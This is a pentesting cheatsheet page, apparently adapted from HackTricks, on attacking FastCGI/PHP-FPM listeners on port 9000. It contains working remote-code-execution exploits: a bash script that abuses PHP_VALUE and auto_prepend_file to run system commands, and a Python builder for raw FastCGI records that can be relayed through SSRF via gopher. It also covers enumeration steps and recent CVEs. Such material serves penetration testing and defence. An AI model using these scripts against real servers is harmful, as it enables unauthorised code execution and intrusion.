daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

9000-pentesting-fastcgi.md (5144B)


      1 ---
      2 title: "9000 Pentesting FastCGI"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/9000-pentesting-fastcgi.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/9000-pentesting-fastcgi.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 9000 Pentesting FastCGI
     14 
     15 ## Basic Information
     16 
     17 If you want to **learn what is FastCGI** check the following page:
     18 
     19 
     20 [Disable Functions Bypass Php Fpm Fastcgi](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi)
     21 
     22 TCP/9000 is a common PHP-FPM/FastCGI configuration, not a protocol-mandated default. PHP-FPM can instead listen on another TCP address or a Unix socket; secure deployments normally restrict which clients can reach it.<sup>[[4]](#references)</sup>
     23 
     24 ## Enumeration / Quick checks
     25 
     26 * **Port scan:** `nmap -sV -p9000 <target>` (will often show "unknown" service; manually test).
     27 * **Probe an explicitly configured FPM status page:** `SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000`. `pm.status_path` is unset by default, so `/status` works only when enabled.<sup>[[4]](#references)</sup>
     28 * **Find reachable sockets via SSRF:** if an HTTP service is exploitable for SSRF, try `gopher://127.0.0.1:9000/_...` payloads to hit the FastCGI listener.
     29 * **Nginx misconfigs:** `cgi.fix_pathinfo=1` with `fastcgi_split_path_info` errors let you append `/.php` to static files and reach PHP (code exec via traversal).
     30 
     31 ## RCE
     32 
     33 It's quite easy to make FastCGI execute arbitrary code:
     34 
     35 <details>
     36 <summary>Send FastCGI request that prepends PHP payload</summary>
     37 
     38 ```bash
     39 #!/bin/bash
     40 
     41 PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" 
     42 FILENAMES="/var/www/public/index.php" # Existing file path
     43 
     44 HOST=$1
     45 B64=$(echo "$PAYLOAD"|base64)
     46 
     47 for FN in $FILENAMES; do
     48     OUTPUT=$(mktemp)
     49     env -i \
     50       PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
     51       SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
     52       cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
     53 
     54     cat $OUTPUT
     55 done
     56 ```
     57 
     58 </details>
     59 
     60 Alternatively, the referenced Python FastCGI client can generate the request.<sup>[[5]](#references)</sup>
     61 
     62 ### SSRF/gopher to FastCGI (when 9000 is not directly reachable)
     63 
     64 If you only control an **SSRF** primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder:
     65 
     66 <details>
     67 <summary>Build and send a gopher FastCGI RCE payload</summary>
     68 
     69 ```python
     70 import struct, socket
     71 host, port = "127.0.0.1", 9000
     72 params = {
     73     b"REQUEST_METHOD": b"POST",
     74     b"SCRIPT_FILENAME": b"/var/www/html/index.php",
     75     b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
     76 }
     77 body = b"<?php system('id'); ?>"
     78 
     79 def rec(rec_type, content, req_id=1):
     80     return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
     81 
     82 def enc_params(d):
     83     out = b""
     84     for k, v in d.items():
     85         out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
     86     return out
     87 payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
     88 payload += rec(5, body)                                # FCGI_STDIN
     89 
     90 s = socket.create_connection((host, port))
     91 s.sendall(payload)
     92 print(s.recv(4096))
     93 ```
     94 
     95 Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://host:9000/_<payload>` in your SSRF.
     96 </details>
     97 
     98 ### Notes on recent issues
     99 
    100 * **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).<sup>[[1]](#references)[[2]](#references)</sup>
    101 * **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.<sup>[[3]](#references)</sup>
    102 * **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets.
    103 
    104 
    105 ## References
    106 
    107 - [1] [CVE-2025-23016 - Exploiting the FastCGI library (Synacktiv)](https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library)
    108 - [2] [NVD — CVE-2025-23016 FastCGI library integer overflow](https://nvd.nist.gov/vuln/detail/CVE-2025-23016)
    109 - [3] [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/)
    110 - [4] [PHP manual — FPM configuration](https://www.php.net/manual/en/install.fpm.configuration.php)
    111 - [5] [phith0n — Python FastCGI client](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)